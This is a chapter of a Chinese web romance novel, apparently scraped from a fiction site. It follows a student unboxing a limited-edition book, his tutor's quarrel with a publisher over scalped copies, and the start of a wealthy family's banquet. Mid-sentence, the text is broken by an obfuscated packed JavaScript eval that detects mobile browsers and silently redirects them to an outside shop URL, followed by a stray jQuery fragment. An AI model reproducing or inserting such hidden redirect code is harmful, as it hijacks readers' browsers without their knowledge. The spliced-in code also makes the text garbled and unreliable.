文趣网 > 都市小说 > 认错男神但嫁对美人 > 12. 是我的书
    萝卜头刚从上一任领养人家里跑出来,晏扶玉怕它应激,只能先把它带回去,隔段时间再送过来。

    南奕当然没意见,他拿出手机兴致勃勃准备也给萝卜头买点东西。

    晏扶玉将手机从他手里抽出来,丢在沙发上,玩笑道:“你饶了我吧,我可没钱赔你了,赶紧写作业去。”

    南奕撇撇嘴,“我又不让你赔。”

    “写作业去。”

    “哦。”

    南奕趴回餐桌,打开人类的精神食粮,开始做题。

    外面门铃响了,晏扶玉去开门。

    管家站在外面,手里拿着一个扁平的快递纸盒,“这是下午送来的快递,放在门卫那里了,我给带过来。”

    晏扶玉看了眼收件人,确实是南奕的快递,这才接过来,“谢谢。”

    “应该的。”

    管家离开,晏扶玉关上门。

    南奕抬头看过来,“你拿的什么东西?”

    “你的快递。”

    晏扶玉说着,将纸盒放在一边,目光扫过快递面单上的信息,顿住。

    【书挞文化《寻迹·贰》特典手写信版共1件】

    “是我的书啊。”南奕想起蜗蜗奶糖的那些话,心里五味杂陈。

    奇怪的是,晏扶玉也没有动静,客厅突然安静下来。

    南奕没注意到晏扶玉的不对劲,他从书包里拿出一个小美工刀,将手机递给晏扶玉,“帮我拍下开箱视频。”

    晏扶玉目光在他脸上顿了顿,欲言又止,“好。”

    点击录像,南奕开始拆快递盒。

    晏扶玉看他将贴着快递单的外包装划开,问:“特典手写信版是什么意思?”

    南奕小心地打开纸盒,取出里面泡沫纸包裹的塑封新书。

    “就是上次代拍帮我抢到的那本,前一千名下单送作者的手写信。”南奕将泡沫纸丢在一旁,开始拆塑封。

    晏扶玉表情更古怪了,“作者手写信?亲笔写的?”

    “当然不是,怎么可能?”

    南奕将拆开的书在镜头下面全方位展示了一遍,翻开内侧,取出夹在里面的特典,“信是印刷的,就是这个。”

    南奕打开薄薄的信封,取出里面的信纸,纸张比晏琛之前给自己的原版要薄一些,但内容一模一样。

    虽然已经提前看过很多遍,但再次看到蜗牛上树说《寻迹》不会有第三册时,南奕还是有些难受。

    他收起信纸,“好了,录像可以关了。”

    “晏扶玉?”

    他喊了两声,晏扶玉才回神,将手机录像关掉,还给他。

    南奕奇怪,“你怎么了?”

    “想到点事儿。”晏扶玉没有多说,“拍完了就快点写作业,我出去一下。”

    南奕撇撇嘴,目送他掏出手机出门的背影。

    什么电话还要出去打?

    鬼鬼祟祟的。

    南奕坐回餐桌旁,拿起笔,翻开习题册,然后……看起了刚拆开的小说。

    外面,晏扶玉一手撑在亭边的栅栏上,一手拿着电话。

    “我不是说过那封信每本书都要附赠吗?怎么变成限量了?”

    那边的人语气很冷淡:“这是少爷的意思,出版社每年都在亏损,光靠卖书已经挣不到钱了。”

    “所以你们就去当黄牛?”晏扶玉面无表情,他很少生气,但这次胸口起伏几次都没有消火。

    “市价又不是我们炒起来的,我们只是趁市价最高的时候再多卖几本而已。”

    晏扶玉深呼吸几下,脸色有点发白,他掏出口袋里的胃舒平,丢了一片在嘴里咬碎。

    揉了揉抽痛的胃,对着电话道:“那你们在官号上把信的内容公开。”

    “那可不行,公开了我们还怎么卖书?”

    现在很多不看微博的人还不知道《寻迹》要断更的事,要是大肆宣扬出去,第二册的销量绝对会很难看,出版社不会这么蠢,自掘坟墓。

    晏扶玉闭了闭眼,胃更疼了。

    他开口叫对方名字:“王涛,我最后叫你一次王编,我也不为难你,你把十六以前寄过来的信封给我,这总行了吧?”

    对面安静了一会儿,“少爷把那些信封都拿走了。”

    “……”

    南奕好奇地往外面瞅,晏扶玉怎么去了这么久?

    他抱着看了个开头的小说,有些意犹未尽,最后担心被晏扶玉骂的心理还是占了上风,心虚地合上书,开始写作业。

    十几分钟后,晏扶玉还是没回来。

    南奕正想出去看看,门忽然被人推开。

    南奕立马坐回椅子上,装作风轻云淡,毫不在意。

    实际上紧张地要把习题册戳个洞了!

    怎么办怎么办?他二十多分钟只写了一道题,晏扶玉会不会问他?

    笔尖在题册上点出一个墨团,晏扶玉却没来检查他作业,而是去喝了口水,然后坐在他对面,拿出手机不知道在跟谁聊天。

    南奕本来应该松口气的,但又莫名有点不爽,伸长脖子去瞄他手机屏幕,“你在跟谁聊天?”

    晏扶玉眼睛都没抬,手机屏幕前倾,避开他视线,“写你的作业。”

    “切。”

    南奕不情不愿坐回去,将墨团用修正带盖住,又随口问:“女朋友?”

    晏扶玉按灭屏幕,和他对视。

    南奕缩起脖子,低头假装思考题目。

    “刚才看小说了?”晏扶玉忽然问。

    “没有!”南奕一个激灵,“我写作业呢,这题有点难。”

    “你小说忘记合上了。”

    南奕连忙看过去,发现小说好好地放着,封面《寻迹·贰》的字样清晰可见。

    晏扶玉轻笑一声,撑着下巴,问:“你们语文成绩差的人是不是都很喜欢看小说啊?”

    南奕被摆了一道,脸色臭臭的,不想理他。

    “问你话呢,没礼貌。”晏扶玉伸手戳他脑袋顶。

    “你说别人语文成绩差就很有礼貌吗?”

    南奕气死了,他刚才居然还担心晏扶玉出去这么久是不是遇到什么事,真是多余担心这个人!

    “好好,是我没礼貌,我不说了,你写吧。”

    晏扶玉放下手机,拿出给南奕准备的语文资料,标上等会儿要给他讲的内容。

    南奕哼了两声,瞥他一眼,气也顺了,开始认真做题。

    一周时间转瞬即逝,南奕白天在学校上课,晚上回来写作业,然后听晏扶玉讲课。

    周六,南奕换上了管家为他准备的礼服,和南宏渊一起去晏家。

    “你和晏琛认识?”南宏渊问。

    两人坐在车里,中间隔了一个身位,南奕始终盯着窗外,一言不发。

    “跟你说话呢,学校老师就是这么教你的?”

    意思差不多的两句话,从南宏渊嘴里说出来怎么就如此难听?

    南奕淡淡道:“算是认识。”

    “认识就认识,什么叫算是认识?话都说不明白。”南宏渊从小没管过这个儿子,此时见他这么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489876|202178||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不给自己面子,心里更是不喜。

    他好面子,出轨闹到妻子发疯这种被自己年幼的儿子知道后,他每次见着南奕就想起那些不愉快的事。

    但到底是自己儿子,南宏渊道:“我可提醒你,晏家有问题,你自己小心。”

    这些有钱人家里多多少少都有些见不得人的龃龉,南家自己的事已经恶心了,南奕早就亲身体会,司空见惯了。

    但涉及晏琛,他还是多问了一句:“什么问题?”

    南宏渊:“暂时还没查出来,只是前二十年这晏建安把他儿子藏得严严实实,从不带出来露面,最近突然这么大张旗鼓,肯定有问题。”

    “晏家说是因为晏琛之前身体不好,而且他既然要去公司实习,晏家带他出来露面也很正常吧?”南奕问。

    南宏渊嗤笑一声,才道:“我的人查到一些东西。”

    南奕扭头看他,“什么?”

    “晏家对外宣称晏琛今年十八,上个月还办了成年礼……呵,但我的人查到,晏琛实际上二十年前就出生了,你觉得这里面没问题?”

    南奕一时间脑子乱了,“什么意思?”

    南宏渊看着他的反应,暗自摇头,心下失望。

    这个儿子一点也不像自己,更像谢兰舒那个女人,说好听点是单纯,实则是愚蠢,别人说什么都信。

    车开进晏家大门,两人没再说话。

    南奕心里想着南宏渊的话,盯着车窗外发呆。

    这次晏琛的生日宴在晏家的郊外庄园里举办,比上次来的人更多,南奕远远就看见了李家的车。

    司机从大门驶入,停在楼梯前,晏家接待的佣人上前打开车门。

    南奕一下车,就被等候已久的李鑫拉到一边,“你可来了!无聊死我了!”

    佣人在旁边提醒:“宴会还没开始,草坪那边有网球场和高尔夫球场,两位少爷无聊的话可以去那边。”

    南奕道了声谢,却并没有去草坪,而是被李鑫拉到了旁边的用餐区。

    一人端了盘伊比利亚火腿,跑去景观亭坐下。

    李鑫还拿了盘土豆饼配红鱼子酱,让南奕帮他拿杯鸡尾酒。

    “你下午没吃饭?”南奕的思绪都被李鑫打乱了,捧着盘子和酒杯无语。

    李鑫边吃边道:“忘了。我正打游戏呢,被我大哥揪出来,让我换了身衣服就来了,连口水都没让我喝。”

    南奕将东西放下,感叹:“他居然没打你。”

    “把我打破相了还怎么参加宴会?”李鑫一盘火腿片下肚,依旧腹中空空,又开始吃土豆饼。

    南奕打量着晏家庄园的花园,能看得出这里是常住人的,花园打理得很干净,花草生长自然,不像是刚修剪的。

    靠里一侧还有片菜园子,用竹编的围栏圈了起来,因为精致,竟也不显得突兀。

    南家在郊外也有一处庄园,南奕小时候被谢兰舒带着去住过几天,长大后就再也没去过了,不知道现在是什么样子。

    忽然,他目光停在晏家别墅二楼的窗台上,皱起眉。

    李鑫吃完土豆饼,擦干净嘴,见他在发呆,问:“你看什么呢?”

    南奕回过神,又瞥了眼二楼窗台,“我感觉那个窗台有点眼熟。”

    李鑫也抬头研究了半天,“别墅窗台不都长这样吗?”

    “是吗?”

    “是啊。”

    南奕始终觉得不对劲,他好像真的在哪里见过,但又好像没见过。

    “你们在看什么?”一个声音在旁边响起。